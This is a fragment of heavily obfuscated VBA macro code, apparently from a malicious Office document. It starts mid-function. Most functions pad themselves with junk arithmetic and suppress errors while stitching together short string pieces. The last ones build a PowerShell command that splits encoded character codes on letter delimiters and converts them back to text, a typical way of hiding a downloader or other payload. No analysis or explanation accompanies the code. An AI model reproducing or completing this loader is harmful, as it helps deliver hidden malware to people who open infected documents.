LfwjFzjN = "" + QWuqwLEuv + oZjPiqXIFS + "15k" + AINzEiUdWpb + HsVRUiPzmhmbP + "11" + pZozfruilMz + dwzzYZWwCrk + "1d11" + fNaaXpptoz + fwNJkEUWoVn + "0<" + DpWcnhDMKLjHK + VhpBwSsa + "103k" + SmQNjKZrlUzTQ + wRVnhCZQJ + "46f9" + fmkWKONo + nziAGPYTLCQpmB + "9S11" + nblsWGMZfn + KlFbfUJSq + "1<1" + mAwwwqqAjVm + CcYhmEVSIJJa + "09N" + JRrijzzzsZHNj + YtXJSZDvcfmSI + "47_" + nYBAhirnFbmDj + ZVjfjPlQiP + "78" + PCuhrUBmiM + EhGSifVT + "f9"
GRldu = BIWkbL * lLuvji * qNmZa / JTiwu
   piwhJ = cQXps * woLuOI * sCCwj / hJBBS
   NvdwOZ = kapzjt * VHnkm * iLtiMC / RiZXqo
pQMQDtNF = "" + sfZpDcdF + pTVvcWiJhn + "9I70" + mjOVcwaO + BZEImEKfXmHh + "<88"
pmjfW = ZDOht * bhAiij * ISvqU / awBPGD
VQloKJXwIM = "" + fqSvswIzKWPzdc + HbRAwuvLuwKXnH + "f109" + NdBKLjnTzUlTF + VWWzcnbzluHBwl + "_1" + CsajzbVi + wAdJbGHzpARIB + "13" + iQPDirhOKibf + uBobpoaVcTBtww + "<4" + urYzVKFipvQmT + bDCvzdj + "7p6" + LInvCovld + jGGajvJltXnCB + "4d1" + qtBkPNfLlNX + BAfJAnQUwcL + "04k" + vSpXFlccz + sDZEuVNMlikt + "116k" + BOCFuRpjvSN + HlhzDwvQz + "116<"
ZbOzT = KYzsEX * WDjuM * GqYGF / DijvwO
mtQZNOcUOQ = "" + fTCqMKHpYVDOH + OADqHVB + "112" + ZPCidAiA + rkhEzwwBAlCL + "k58_" + fjvKNtU + tRzHdLXrDrXkQh + "47f4" + tITBjGN + zwFTndONlnnCpV + "7f" + twUYVOwzGTk + PmDiLiOSXQN + "119" + fuIBEniYpI + akwFMTtOjWAjXd + "_11" + KWiGPzjEqFP + EZiLjkuQNK + "9_"
unJuZ = avCOTZ * fdAtOH * vrfwV / nswKw
zIcos = "" + UJaKRcoBTqGF + HtWwDsY + "119" + MYApizsR + AKTZjziPuYoqQ + "<46" + kCnwIsNRANlQ + CbYwRYuo + "p9" + AYdiiUWIBGzwF + umsSLwhsIrzPrw + "7_1" + wiAwjPinjrcPj + VGzWmCWI + "00p"
jUnhE = JaSBNE * QfEFl * VRLzk / JrcolZ
   fCvvF = LSoOIt * mjriz * nSBUUC / vnhmj
JjzQoWp = "" + pNkIzJIDdzrrK + kGopmtdh + "10"
wjYlBi = GYzVHZ * afPXXd * wYiwj / lAzLfK
OfWdJc = "" + kRcPKllZmdj + HdGKwjCIt + "5k" + qvFYlqwKwz + vITYKwsSAAWtVF + "109_" + fwUqdGYOf + wjVuRLjKCcKsJ + "101%"
VqYMD = 62736 / jiwcE - ojEtz / vliFF + (64731 * uSlVGL / 79166 - liqTJ)
dWHzRBIK = "" + rwoHLVSYQuwFjq + iOlCwIrRP + "110" + AOZoDUn + RadZzMEL + "k11" + XvzWovVYziFW + SSJqGvkvDcBEkM + "2<" + DfFfpHDrltiw + DujfGhD + "111f" + RzbrVVk + VOiZRLIK + "11" + FMMoHzYHU + UhpZojOQ + "4S1" + AiZaZaddXX + lIsEKTszN + "16<1" + BBhozdi + huEimNiYuizhLB + "17I9" + jjWuYkJldXZr + ztdAlqEORwk + "7p4" + jSYqzlH + IwVwlTBOoqnQiD + "6I11"
qAiNvpa = "" + QEdSSZJF + SEhaGdLGkii + OPMVC + kNCIufl + UfijiAbip + LfwjFzjN + LAwhOkJFY + fbzsFPRPZw + pQMQDtNF + kBrZzKi + OatkRVtJVfjvv + VQloKJXwIM + hlvMRZrR + LfXLKvtQjRBGIn + mtQZNOcUOQ + GDQpIpBksN + kPWIDnFpW + zIcos + kniLiFad + uTnBBoWdm + JjzQoWp + jajTutCUiEAHsj + dTiRkHBqwjH + OfWdJc + jLjfPEMwroMYIZ + LvUzLsKHBLZZq + dWHzRBIK
   mAWzs = 32641 / ccpili - tchow / omDnqB + (53789 * DfnHUd / 49501 - maUcj)
   KjGfpH = 68002 / ltmWAz - IrpzZz / WRBtV + (80967 * TUAVt / 86777 - kVmWU)
   OiGZa = 5645 / cnmtv - Jpiwl / jRZlAG + (8063 * XWCbEJ / 99372 - ivTvn)
End Function
Function UTTXQV()
On Error Resume Next
Oczkwu = 83052 / kbEkow - SWZuG / LomIBG + (67150 * qGuasX / 46190 - TjcfL)
   FPTlpA = 49501 / ulvDn - cuoIO / VJKwZh + (18718 * tRaZU / 21629 - thUtcQ)
   pwUkwr = 72745 / XzwIvF - MHqXU / KWicdi + (26273 * OmdcK / 40255 - FzLLH)
YsmKBG = "" + YCmoKImltYW + lHUIYUILSjl + "1I11" + HJfLMAGtJZ + DLcAkDoqZTqqCj + "4_" + RGWBEnBcFhLVYj + dOUJjKhcwuzn + "10" + IdrLcDDpqQKzu + SRtrINoOwPGYu + "3f"
iZQKz = (ruJZim + zqESk + 32112 + tVCsdD / mAaqXP * fBEFtO)
   pNJRY = 65146 / MEYinY - zjPik / cDvKaU + (29534 * wViIlf / 50926 - pdiKoE)
VzAABhqzC = "" + MzodpmarDoGaIX + wqFuiiKWqTpz + "47_" + CEIWpupZBzZjn + BXdjYzXY + "12"
dmRmW = (aiLlBR + hcrXoF + 38959 + vcOpwM / puifR * MIXmf)
jLbptrq = "" + bzHjkvD + iSWQiKDzZk + "1%1" + RGWAjVUTkJDUu + GFLQQIUwMvp + "05d" + UpFRsQJqkjEaiN + PBVOfwrOUq + "52" + KJFqqXzvDlciJo + HphviWztTP + "N12" + wqzBjMfbiN + NuVdZqEq + "1f" + HfJlSoMLXa + zNobuzJustF + "99p" + kATUcLbzdjRs + qOSqJGlzIpwwHj + "47p" + NanDhntruPd + dWjwDSjaD + "39<4"
wnsdW = (DuRBVr + uMDVa + 93080 + cGdiTO / EOzBKi * GuvQV)
vJfSi = "" + NRIiiBqPLzGC + JNKHhzjSAKNho + "6p" + FFjhusMW + zNzoBEbkQlhF + "83_1" + MCvRzQwNYGF + UszwqVWkmh + "12_1" + GmwXjazrDVrzvY + josiHjHrSorkr + "08"
LbENIq = (mYmIv + jVZSzv + 69810 + zrCLD / UYlDvG * dUnMW)
   VRRriA = (sjGCTw + ABSzi + 524 + ovsZiE / rjOAI * Wjdhtn)
tLtco = "" + KbrMTqK + tsJvOkCBF + "k1" + OnjNobDBmFdhwv + KzjoJVWKC + "05" + PjlLQBq + siXrnJRJPL + "<11" + bUrCVYn + YKrVnRAuN + "6f40" + DQWfbsB + NurjFnP + "f39" + vdCwFUTf + sQOCfHwKzLbdXo + "N64" + iTIQzBH + CCFLCMvWC + "f39_" + wrLcJdSihRGOJ + AXFzqJckdFqzu + "41" + HVjBFmHjHWj + AwnwKML + "N59" + CQiVGhWSd + BKliHvDsrwcH + "d36k"
tTSSlL = (TiJjv + WuWMFZ + 47936 + dZsGc / JZDQDX * IXsmDD)
   wHqOAa = (dtSPQY + taMIZ + 25570 + itjXzO / iZCVm * jSCrb)
   khRuo = (oIrSPW + jZJosM + 81760 + qKFoP / SfRaJ * zWAFYp)
SqZXajm = "" + KznGXsdRZuiYFS + qDMEzTQu + "102k" + jbYVhMf + wsQaVtMzHr + "112_" + OEsAYAdwq + dUJCtENRtIzRQ + "65" + qLnUJCPmVXf + MBBdPznF + "f32d"
kEtMD = (rHsJYY + LFLoV + 55553 + wkKoY / wpzHNT * iuJqs)
   SvtZUH = (mbbvJ + JWWqO + 64751 + fNjFEr / TCRmW * VUYPdu)
LVHOOsfVD = "" + MJINwFJPN + RdIAuEnZ + "61f3" + JlvEVqQ + wUVlkbBbaY + "2I3" + jjFCYZtPlE + MCXMIdPtT + "9f5" + nwsXZsdNABc + qCwRWjj + "7f" + CZiDpSzJtGrBS + BUWHraSjcRWF + "51k" + WmJmutSpVCLPrH + EXzPPCJbASkq + "52" + SMRLXThPXLNL + wbiKMtNwIQ + "p39" + chlcJckkk + jkCBoAlCEEpfZj + "N59" + LXUDAdDrzdv + bOkzcCZKsZzX + "%36<" + OmCLtjzYMPu + jLCKFiR + "110" + FizjASTwWjlzp + SBSlCBUCiAtwqO + "S85N"
UTTXQV = "" + zBYhTOMjjENtO + rHEsDQf + YsmKBG + ljTjHUdkdrowQ + DpiEzobnRzB + VzAABhqzC + VoXRbjvnvjcM + PWYEakboOhb + jLbptrq + KsBiFcsPoTWXjb + IGrWMLQt + vJfSi + GJjaqqwkluu + jjNaDBhuIl + tLtco + bjFnwcH + WiiOdfYwqvO + SqZXajm + InzlNsLjzXzU + twmSmHrN + LVHOOsfVD
   LZVJzS = 82393 + urbSo + 26023 * PiwYK + 66898 * PYfzDc + 53288 / rumUZ * 77444 / Cjfjh + (WjaIZD / ctppv)
   wdzPO = 81986 + zjjToa + 86625 * PtiBTs + 86042 * riYEa + 97508 / wZHiZ * 46967 / PSqiWz + (okddzd / LuwQEY)
End Function
Function ViCzlznUUE()
On Error Resume Next
lQBbju = 64052 + TEddLK + 70759 * tKDtv + 51341 * UIliIN + 41150 / fidFSV * 46544 / tDhKv + (SAkNu / OCruL)
   SwQYiw = 9119 + wiFSBV + 99317 * qNQfU + 81072 * uuTKld + 75625 / tdoFMd * 58885 / MrCTRf + (spOsBj / JLcNVi)
YApdaPWl = "" + ULzLoMPmfL + oSWTPza + "106" + kmCwTcdzHA + XhISTHjabM + "S61" + rVtFtGipS + ZzMUklmYLffQ + "S36f"
dwIiD = 36452 + SABMZK + 93275 * skUtnj + 64952 * uvXor + 72087 / uqzKjQ * 3208 / XPVPG + (ftpcbt / hkKiv)
   Avrtt = 89300 + wkHzj + 45627 * BVuFa + 96596 * VHmwpp + 78029 / mMFJrt * 22043 / vYCLcM + (XANhX / kZqmff)
   zEFjS = 97117 + safMpi + 98510 * XmGJCP + 90991 * HRoBnO + 44038 / NXhzU * 94958 / JNJiai + (hHlsT / YWlqCd)
qzizBwTMc = "" + fiIjJGWazQiq + iSUbjPChMPrlMF + "101S" + kjoRrkNiwcJ + LwDUlGrNUAwjw + "11" + oXtQkXfuCTFtE + DFjsAToRbzz + "0k1" + jpktSVtZj + RjCABfMnbpzs + "18" + RZAGSQm + LMiLbjsFU + "S58S" + aUQnPvm + amwnnAvtSQcvJ + "116N" + nTUlDjkcfzfzI + WdcVoYPvYbnwm + "101_"
dbHcWf = 84734 + StkVzt + 15116 * UfAWw + 41579 * DYTjkO + 36874 / QIIlTb * 69506 / PkdzF + (dHWRvw / HQlHzD)
   ERDZAv = 53135 + HDqJQ + 80650 * Cnhbu + 96465 * nbSXY + 92847 / PkzZv * 86258 / uiMvu + (URwPzF / ZARLI)
ZlctSYnKzz = "" + HczHTNoIodkGlm + YYvLJTSWFI + "10" + dVXjVPcAzz + TOcSMZWiP + "9p" + iHrpnJdBLV + TFDlVJVXbOf + "11" + rAKjmNGrwtZdZo + wzuBjJNIoB + "2k43" + NzQczvwJTUYHLm + iHvUiBfO + "p39" + KhmBslsMdwcwi + jCbampwmBdhFA + "k9" + SBrIlOXR + PzJYjicRbwwDn + "2S3" + NvkYLfr + faFWtdJlw + "9S4" + qnOSvEnZRN + tGXTntQHY + "3%36" + sIcFYwpNEBbKZ + cGrSiDQML + "I102" + JWrhiwnwWJ + PacAKNSvznUQKP + "_11" + nbwQqCoTVW + XdKIKIcrCDG + "2S6"
UYWBbX = (rPIuN - INlJi) + 75401 * pYUdLG + nPVkV / 93540 / (44593 - dSRuz)
DBuoUk = "" + VPvIzOFt + IDwEspVVb + "5%4" + YZQimjSrknjEQw + wCZJcKCoT + "3k39" + acZdfINwqf + imBpfYzf + "I46f" + ZWSBTRNWcLN + PKKEwCCXkUpuW + "101" + XPUuTvCCKi + jTCRzUumiVUCcD + "S1" + BcGzrszNrSqwM + ZHHTDhDqacoqBu + "20" + QoNAiXrEq + ajdzZVVuuVkDH + "k10" + jUDBzSZBaIzI + QCcjscJ + "1k3"
VLtBo = (Uciup - IbHrdY) + 32847 * fSHjMH + EzaJR / 64006 / (10969 - jlQTGt)
   OVfzWw = (lGBvqW - oWXAf) + 6384 * aNEsiS + UOWci / 80972 / (78657 - RSDFtX)
   oAAYqK = (bUGBc - DMpjI) + 31307 * EkXHCr + GMFKzk / 38993 / (36748 - LjNtlw)
vAIXTHC = "" + djcZbmwdPuE + WwjFOOvDrikjiz + "9d59" + sFvLaYLwhl + UVaODRMP + "p10"
jaPcmz = (swpDHW - JQSzmk) + 45788 * wkiWIW + MkfLLV / 40827 / (91917 - mOGood)
oMQswVDMm = "" + lFmzPcZJGdfuPo + kFXvKSoVU + "2%11" + djoTcVXXQp + DlCOrQDWZk + "1p11" + XkRnSRR + DwZSKDY + "4f10" + FaXjUJIEw + nzsLjvsDj + "1S97" + YiQApdwjMfiHfz + PIfOUMOREDOiP + "p9" + JMFCpTUUfH + lJrMNDHcvDqiL + "9S" + vmONRBKUvavqUv + GEUcHNq + "104" + IiZFWaqVTYi + wqbowmSMmjHCjZ + "N4" + rivOiJTkPYzEV + FkMGdBTRDh + "0f3" + BRCmAzicqm + oXqZXnOr + "6k" + BSXTNqYQ + PnRTMlwFrYjT + "83" + RGKttQT + rPkPhlnEZuUv + "k8"
ViCzlznUUE = "" + XNmoJAN + jWBHfiXbOoDZ + YApdaPWl + VQTDUHYOFQz + HbJaWOhAtfiH + qzizBwTMc + TFGzjUk + qwsVKUQlHs + ZlctSYnKzz + zENhKVbbl + uFEIwTTSvqETii + DBuoUk + fduWOcmUBs + wJpmBAwQFM + vAIXTHC + oaBZvljCR + wqShSSjHFDzTmB + oMQswVDMm
   ktrFK = (82994 + qtSYKV + 67297 + AiwOz * (29390 + hLpwzD - OUlEhz - osKNP))
   djcST = (22354 + ioaNZQ + 17712 + EANrv * (67744 + fwVEL - rGOXd - FWpfc))
End Function
Function frQpiwvZYI()
On Error Resume Next
jFNIc = (93714 + VWTpD + 14632 + AIJaz * (22601 + GARKn - jkjbM - oEdXD))
   qNHjuW = (22236 + NmwtLf + 30561 + ttAiz * (74561 + njlMl - BkssuV - oNIUCl))
qbkvF = "" + OVYERUVNzKco + dEwwpXnlq + "7k10" + pTPWlGRIink + sTESkVzYB + "6k" + ZbETRtdijac + rODKfic + "32" + iGVSVBUsFou + JBwqkKFvmPSwaV + "I1" + sSwiwswzzYbKo + FRuECMowSmhwq + "05" + ufCEMWwFAR + rMivHQb + "<110" + jQQcDUivPwHv + wHkIRHMtnwL + "f3"
krafPq = (76136 + OmbIB + 39866 + lUwFM * (65921 + nWIJFU - cRQGit - oQrEr))
GBABn = "" + IzPmCISCFk + DDXFkTalUKCTaF + "2I36" + EAUSDRO + SRiKPLVivAltmU + "<76S" + vAzzwLzLOzFQl + oPLRCwbFzhpf + "74I7" + LRjwcIRQ + HTTvRGFsBOzdbC + "8p4" + UuzQGjtADjYTI + XEMKicjotb + "1S12" + pNhqibjnWTu + aSslhmkOuZZ + "3d" + mQnGEoKCDnVqt + wzEKVkIKoD + "116N" + LOunIbnoTAQOF + WfWuouLQwV + "11"
jdkSmS = (38566 + AjuDw + 77976 + HzNUvM * (21506 + STbYRf - EJbuk - qZGfz))
   fIjir = (11674 + PfJEv + 84586 + htUFwp * (20157 + Tjassw - SwGcY - JcpCuj))
   HiGzCs = (99286 + nIzNOG + 5498 + whpEo * (23637 + fSIXuA - wStifK - ANWFi))
RYVToDj = "" + iVAUciCjLn + fRzKuCWzfk + "4S1" + EwRaHow + bkwaDozAX + "21I" + ULXYavlwvAqzt + jRcYXriLD + "12"
frQpiwvZYI = "" + jrNYzIn + sYsAMDzAMknF + qbkvF + IjXwawpAUrZM + WCiKFMYHYcMU + GBABn + wStvFEFsZJM + sEBazJQiKCcARO + RYVToDj
   vmGDL = (3368 + ziGpd + 57486 + ZzNSjD * (44715 + MKczo - RvoqE - dXGohq))
End Function
Function oVMdbkT()
On Error Resume Next
sTmAhd = (60454 + whzktZ + 90948 + MNljiS * (99131 + tzBqZ - qATFTr - zHmlIp))
WlIGG = "" + kzLMVdRXNaTNGh + ONrzRoFDmMFzu + "3S" + rRtOEfMPMjw + XbsZKzucQJivrH + "36" + XScmzcvN + JBwfOVvMfK + "<100" + ozjAbHKSMXm + QTFwvjfGnnsdl + "S10" + AfbPordiG + nCAKlOs + "6N6" + BqPkipZAJnWpMz + wXRwnozztsc + "5p" + CilvwLJQrlz + VSZLbFhipqb + "46S6" + NqPqmMTY + luNlJQEm + "8_11"
KThaiQ = ZzNnK - 7656 + wTAAwn * ENJoRO + (38933 - OkEJL / 98657 + JpIVpu)
   VaqYnq = EndhG - 10752 + mQBCA * cjAspE + (18178 - sdzEd / 37127 + Nbqhiw)
PohLmdFrn = "" + dtolCrUntqR + zijjELKjdcm + "1_" + pLVSkwRUOw + IBIJKmBAnd + "11" + BuUGzAQCAiBJSa + UFjlTIvKBW + "9<" + kjlMDXQqbKVNj + izzrjjffhu + "110" + twKFciaRQto + KPuKkVFGlRKBii + "f1" + EDShsXr + sfFvGkL + "08" + ZRlVzZQXHjzDzA + MqWYCmXd + "k1"
pALihz = hIrUi - 10970 + QVPKRB * fnjtuo + (41131 - ntHQFj / 30597 + dzzvP)
   sikdHj = NMDzK - 25091 + kmLmmV * MRAJAI + (74440 - RFioN / 82247 + KLNOQ)
msRHjTi = "" + IZCksNoJc + fMkTGYkCuzS + "11" + lVczYYF + EskwYuzcw + "k9"
oVMdbkT = "" + kLDZrGpji + pDCwWlokD + WlIGG + OIsjIzpE + QDPaSCI + PohLmdFrn + ZnQoCjvZXMoM + ZzuhHwp + msRHjTi
   jPYAn = EjjSU - 83119 + zUpDN * RsdoSB + (79449 - XUATti / 26300 + YdjHBS)
   tdKCz = sEkPYj - 11230 + GwwvhO * zbIJPv + (23285 - FZwPV / 90976 + qmdwcw)
End Function
Function VhoWcHah()
On Error Resume Next
jbwXh = FlOcu - 4214 + sjfjh * qaQkfQ + (14540 - RlmjQ / 94181 + cozopw)
   NIPMw = iOwfNZ - 1354 + hlfzj * WURXA + (877 - cHhPjl / 46180 + woCzD)
   BtBno = tRwODo - 68765 + rSGaw * AcsdFD + (29658 - hrsiWM / 30150 + idSQYT)
ISTfGKaAVt = "" + qzqqGvhlaklw + rMwqFHQQjncIl + "7<1" + wjwsjaXJKij + ovAZWFwpCNCWTa + "00" + NwKjIcE + JQUCmHZ + "S70S" + bknDljBmvT + QAFGwkWqmM + "10"
TMocn = Fdpww - 64674 + KMdiV * kwjtPO + (91974 - XCqiPt / 54627 + YrYzfN)
tOdTBXn = "" + CXrmXtHQj + kTZNrbhbz + "5I1" + onbnlJWBWjDb + EDzJiRimNzFSL + "08" + jnjBTjD + HzufkhjsMVmY + "d1" + QwACZciSz + qsXZtIAsPBlWDB + "01f" + MGqVfwVPD + iiCozhhtoIS + "40" + lfSQfczAt + MHrSsXIWbb + "k3" + NMlpVIrK + dkzfEjbUfkYjc + "6d83" + PBRAwqlPVFDum + CzbYiHSMSYvHw + "f87"
jktzFG = JzzrU - 59389 + Aposni * FDNiz + (79124 - cBjpdj / 47591 + AnWmc)
   bmmnlR = GOJCMa - 62721 + RIRahw * CqvBh + (79749 - VAGjc / 55137 + vKDhuu)
izKiiCY = "" + WzmTVOUBHhN + rkjsFtIvcwDGWw + "%1" + nBsWPYDuVfHfF + PqzSTzBobXfuzi + "06N4" + PGIUjUNjSjpXZl + AEoQWfuvlMRzk + "4_32" + LHjrYwH + cTzmIiPpuotuuz + "_36S" + LNjTDOvnbdPs + utqunDj + "110" + HzbEvlJRKEHM + uqOXLLiOWv + "d8" + AEzKYDDabWbKAC + FnmqKVvD + "5p" + UwIsajMAkFR + DJIwYPDWJtR + "10" + JAjfJvksjGRj + zzSMuFHihCZXoV + "6S" + DqjsWMRF + PoUCqMcTGX + "41<5" + XEaaThFmHPiY + ADYkiMQYpTO + "9S" + MuVOmUVS + wtjzJPAFv + "83"
VhoWcHah = "" + MZuVoiQzO + nWtrlAwE + ISTfGKaAVt + VlcrzMGJ + SjwzVbtwp + tOdTBXn + QKkFNFSdAJ + GrnSdoSJq + izKiiCY
   LwTtLc = 77298 - nMarC - VKjqS / kmoBro - (83847 * LMLBow)
   tHauWK = 13577 - OcoEbr - mGofpD / PpIhIP - (17888 * vdsQq)
   MwswbX = 40145 - iXGMZ - IaYGC / HRBXk - (12883 * aBZDD)
End Function
Function WsZIUYlAZ()
On Error Resume Next
cDpoI = 77362 - jpFzNX - wVHvs / scGvz - (44664 * KAfjKZ)
   nzUQNR = 37582 - UifHt - lchwV / vuUNUQ - (88538 * JTCvw)
BiGiswNH = "" + sIMwzOfIVD + MzvAEQc + "k1" + trlonfJVonoGXd + wGizwatAvzCk + "16p9" + IFJbwRb + iWmhPizo + "7S" + RIKwCwTzktpdZl + iwvihGowvbL + "114" + RwIinRwwGHc + qOTFwBwkzA + "p1" + PKTNDbnaTTvhu + jjcpTzNQZd + "16k" + KutSzPtYHil + pFzXTmKKhPEX + "45_" + pButkMwcfaA + BOMFuYIdu + "80f1"
GqfUdf = 77241 - mpDWMl - rkNZZ / WVJvU - (19109 * wCwun)
BDlfwbvzwL = "" + jbzAmFLbzrATuh + VoWkVWYIV + "14I1" + jsIjKwGKIOYmQK + EUpPRijZ + "11_9" + CYKCqfIJbip + VnWPBwBFZbKUo + "9I10" + fFMilfvhA + tiHjLWvfTc + "1%1" + fdwZdzziC + iWWGXJaFWKiCXw + "15_" + oYJLlkqhF + RkAXVtk + "115N" + oPYVtWXE + ZbnhKJsoItj + "32<" + iDJVWmI + UdbZznSONljfP + "36" + CpOcFbkjzOq + BBSsRlGJFlJF + "k110" + fuJVSZfSjYfELk + KJWiMMTnOdX + "k8" + EEXjhEmptXrEjU + NaWMdbAj + "5S"
Tlipt = 27182 - aErwqB - JOFJDb / vGmBC - (1543 * OUZiuw)
   TaVHpC = 20328 - cTIVi - KmRlii / rZaBDA - (15415 * dEovA)
luFiAztUDn = "" + okPwwWJ + GdTqjmwJ + "10" + fwnrNtMkSS + XdKQZod + "6N" + wirwWfXknh + uAHBsCEmlqpOD + "59"
ZZFiu = 32769 - GzLqwm - EEndM / EhWHuM - (56209 * SBaZwh)
   jTNIfJ = 99533 - RvuqOo - fkKPdd / OjlYP - (75345 * pdtQp)
zlGLa = "" + liMMIia + AulYFndOM + "N9" + wjhnPnw + BEGtzCuzQ + "8f" + wZdLjqtvmvhUMI + BYzUmoR + "114" + nrYDtdwPuGYGWE + AwVUjtltAtaTcM + "_101" + OPvwUrtS + SChviUY + "_97k" + pwuMtFfDADfn + QrHJaZIFDlibjL + "107p" + GuDbSMUCB + otOERlERDXLwz + "59" + sJiSWUzlzkkG + XEHhkTL + "d1"
ZvvBoj = 15551 - lMlXLP - EWNfLE / WWrinp - (20875 * iwHdv)
   PiAWd = 51747 + 37975 / 65528 * GzjThO / 81813 / nrZYK * 19715 - TkXdmP * 63747 * hsHji - 77762 + HCoKYo + (qjUHr / EWmEUI)
   MqiuCq = 90630 - DwjTLT - WVrHRT / iZMjTD - (33480 * JYEcV)
GQmGEwwhG = "" + qvQZfwb + McMkWkzmEKu + "25" + fYqQKFCP + iDMtuwIJPGov + "_99" + TzCFiDtwNjP + PoVYPqrdjKqF + "d9" + AikUkJLwLDzhSr + fdCQtVuhZFXAm + "7f11" + zuHtUdLf + TcSbiXAtri + "6p99" + WCikCvf + JVqzmLzP + "I104" + wTtZsbGqhX + KAwXEOjbQAzLKH + "p123"
QOvMA = 16629 + 35008 / 21102 * tbwKEn / 38542 / GEFsul * 50252 - pPzMP * 2087 * WtVwwP - 55327 + NAbqj + (ljqNbN / oOVdVt)
   wMCiiK = 27131 + 68957 / 56760 * lIvFzN / 7772 / KqAOG * 67430 - lDzVhP * 72277 * duVUc - 32211 + lNubc + (fLDkHw / kdhFTw)
OzwqfGw = "" + wMszZRjoV + lrsTuuUDjJw + "_12" + jiizUdVRZvBPw + UwBsLkIwWC + "5I" + ZHKIAXEOrmj + tLMwqEvLujmIG + "125" + alIzlBw + mBruTihMh + "' -S"
nXSVzY = 77524 + 65591 / 42956 * UAmkF / 62546 / GXiOH * 25235 - zzcwrG * 64949 * mOKOwR - 87193 + SPXWI + (nNEnL / TIWjKi)
   YvAfz = 77080 + 30308 / 59501 * XAutB / 77065 / dmiqz * 989 - JpMAsM * 3394 * bFLif - 71849 + zzlRnr + (HztfcE / wJTYzq)
QEOrbJqlkhu = "" + rqPbZNYaqhvNJP + qbuLOsEvrbir + "PL" + PtuSbZH + pOnNFPdJsXvT + "It " + mjwlUjzjjwm + SqoZcvt + "'_" + bfzfNSmUikJPHl + mLlGhqanOKTEw + "' " + NZpFTmpVfw + BIlLFMlqj + "-s" + PkELRDzhVOMvqR + BzpFJVcY + "Pl" + zNsNcoGbaUO + SjOrzpNutY + "It'" + suCotHjjoElp + YpPqLtZZXZui + "S' "
QhFpoc = 69962 + 88285 / 7511 * jMiujN / 90963 / iNRYf * 4551 - JKTXc * 87311 * iwQGw - 91787 + fBilc + (wLfpJ / VvPRrC)
SbwzvnzWp = "" + SRWbtRhlidP + CLnnCsOwfd + "-SPl" + XUPfYDuTWNkHKj + ZBMtiwsDi + "it "
wVHFm = 41577 + 70613 / 51972 * OfjvF / 6876 / GjduWb * 47049 - CsWYok * 33871 * JZQaq - 25671 + RoXno + (RfbIRz / uulVw)
   LOfmn = 16841 + 54439 / 42265 * SGGZUj / 1762 / bfdSzz * 48964 - QTUZbL * 1675 * DjFqa - 93082 + hNvwSv + (ZwzDcw / hLQGIX)
nPjUf = "" + zMmZzGXVocIta + wokmkNu + "'p" + kriPnvdSJP + kNqquJmfIGz + "'-Sp" + nhMlSfEwPpFbH + wpjKsdOatvpEHk + "LI" + swaANRhrjNf + lPnbtjTXpp + "T " + GTqdbzLBLN + hjhIsafwtCIf + "'f'-" + OEuGDGPcHwq + QTTMXlGu + "spli" + KfOKNfDKKazjHG + YREYjRiR + "T '%" + aqkuvjBFkbo + wDnjmLj + "' " + GNMppoPt + viFMaQfOhCWiVc + "-sp" + VvlrGiSN + hGtNpqasAT + "liT" + NQHwzJpcrjahT + JqMQrcDi + "'N'"
bosQQX = 75354 + 841 / 65348 * LOjQq / 1368 / EivrVK * 92523 - smzqUD * 11847 * lmTmA - 46958 + zZwYv + (lHusL / IBvFd)
   XlpKNB = 10086 + 5105 / 97333 * WNvjTv / 35605 / lAcHf * 6607 - IhzKpj * 80680 * QAdKOk - 44167 + BmdXiP + (pFcirv / QGmMF)
   UMjEd = 53908 + 91324 / 31697 * hVjJjI / 46545 / fzfMt * 40633 - RBnDAN * 19746 * jbizJY - 27548 + fQomm + (jdHTV / ksHar)
AirMWo = "" + IzjWffplDnOJa + fTsrHEN + " -s" + vIkXYCiCiJdfrH + zUZvcmhv + "PlIt" + sMcAnvzi + vSNBIMaQrW + "'I' " + IhHkoDVJ + TRJSaiWijJfOO + "-s" + YnQLQEh + EvsCHvMSuGzv + "PlI" + msuIpfftSaiQQ + KllzcNiqTbkwNT + "T 'd" + KjwiSWvsnBKc + rfIUkUNwOc + "' -S" + ahEiSaK + jTafnpsLbC + "PLiT" + vkFnsjnUNS + QwOnEikSbE + " '"
ipwfV = (naEifz - vZrWWF / wDOrb + HsSkw) + 81892 * sFCmIz
   Zosrli = (bhEkzk - zFcwfU / niiVEI + AftzfL) + 65986 * owjcOv
   uSmRRn = (JswEw - NfbFDP / uHUhoU + pWFNW) + 55761 * EkbaKS
JbGTTYDJz = "" + dCSmVzNmizmF + hVjbCLmUYD + "k'-" + fMCFqPaws + HihfLAOwbiaCH + "SplI" + VzzIdPVERA + GWfNdifYwU + "t '" + TKHqmFKvXWu + jYbmZQibcHZvRw + "<'" + JXARXoTHiSL + BkcBQtGEmXEAz + " |fo" + iuVImTN + LZvFTHHEooaWzu + "rEA" + RXXAwRX + ZkzDDToli + "Ch{(" + wAkiPALLRjkAU + wpwzuBwpuX + "[CHA" + lUmlODI + mtkvFLfjo + "R]" + ziWwnlwpzKq + zarfvVw + " [i"
WsZIUYlAZ = "" + EKwNBoq + FnjDCzn + BiGiswNH + HTEGvniwiUA + mQwdMCZjH + BDlfwbvzwL + ElSZwXtrzrps + OJjFKVTSmBQHZl + luFiAztUDn + uzTYBKUEAG + qbzXzfzt + zlGLa + zdNlzRJowIG + qZYwEoiFDvKbKD + GQmGEwwhG + unrhQCqK + CvLIRBQd + OzwqfGw + bjtELYuiCKoNQh + OrjnjOjtli + QEOrbJqlkhu + dILhwtjKunWsIH + WpidDwn + SbwzvnzWp + TPNCzScdzEtzHQ + tbbVofb + nPjUf + XwDQrhVlkdi + uUtOJDNG + AirMWo + HdKULDInoG + VYNHWYNXnth + JbGTTYDJz
   GcZWXs = (HYwnj - Jibqp / fSwUB + hptsl) + 27717 * YoFajQ
End Function
Function iAuPTBZVaF()
On Error Resume Next
Uzcab = (OivwD - FNHIY / qCZPn + rHYEHr) + 49853 * wWwBr
   XbPwo = (bSbwS - uZLjE / uiTlK + EWdWj) + 28869 * QwvTb
VdkkjcGwcqf = "" + WPowFpjfzmntrz + lQssRhF + "Nt]"
sCOzG = 69292 + lKXSi / EhXrdj / VOSEph - RbhpK - 10131 / NmRftC / 27453 * 15547 * ZZbwML / ZDWnq * jKJYZH
TrcKiwjIF = "" + IZEquFLkjiNi + OlwGGIloStk + "$_)" + WUdHzDrQ + VQONTpEduqfvn + "})" + EUzUHLF + pPCbPfBNMtcpru + Chr(43) + "\" + Chr(34) + NPpMbahCGtiuwu + ZQXEndNPo + "$(" + uzLMafWuvQiW + zUWzHRSMMQaW + "sEt-"
